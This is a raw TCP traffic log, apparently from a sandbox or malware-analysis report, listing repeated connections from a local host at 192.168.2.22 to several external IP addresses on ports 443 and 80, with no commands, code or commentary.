Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443

Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 5.159.62.244:443
Source: global traffic	TCP traffic: 5.159.62.244:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 5.159.62.244:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 5.159.62.244:443
Source: global traffic	TCP traffic: 5.159.62.244:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 5.159.62.244:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 5.159.62.244:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 5.159.62.244:443
Source: global traffic	TCP traffic: 5.159.62.244:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 5.159.62.244:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 5.159.62.244:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 5.159.62.244:443
Source: global traffic	TCP traffic: 5.159.62.244:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 5.159.62.244:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 5.159.62.244:443
Source: global traffic	TCP traffic: 5.159.62.244:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 5.159.62.244:443
Source: global traffic	TCP traffic: 5.159.62.244:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 5.159.62.244:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 5.159.62.244:443
Source: global traffic	TCP traffic: 5.159.62.244:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 5.159.62.243:443
Source: global traffic	TCP traffic: 5.159.62.243:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 5.159.62.243:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 5.159.62.243:443
Source: global traffic	TCP traffic: 5.159.62.243:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 5.159.62.243:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 5.159.62.243:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 5.159.62.243:443
Source: global traffic	TCP traffic: 5.159.62.243:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 5.159.62.243:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 5.159.62.243:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 5.159.62.243:443
Source: global traffic	TCP traffic: 5.159.62.243:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 5.159.62.243:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 5.159.62.243:443
Source: global traffic	TCP traffic: 5.159.62.243:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 5.159.62.243:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 5.159.62.243:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 5.159.62.243:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 5.159.62.243:443
Source: global traffic	TCP traffic: 5.159.62.243:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.3.176.141:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.141:80
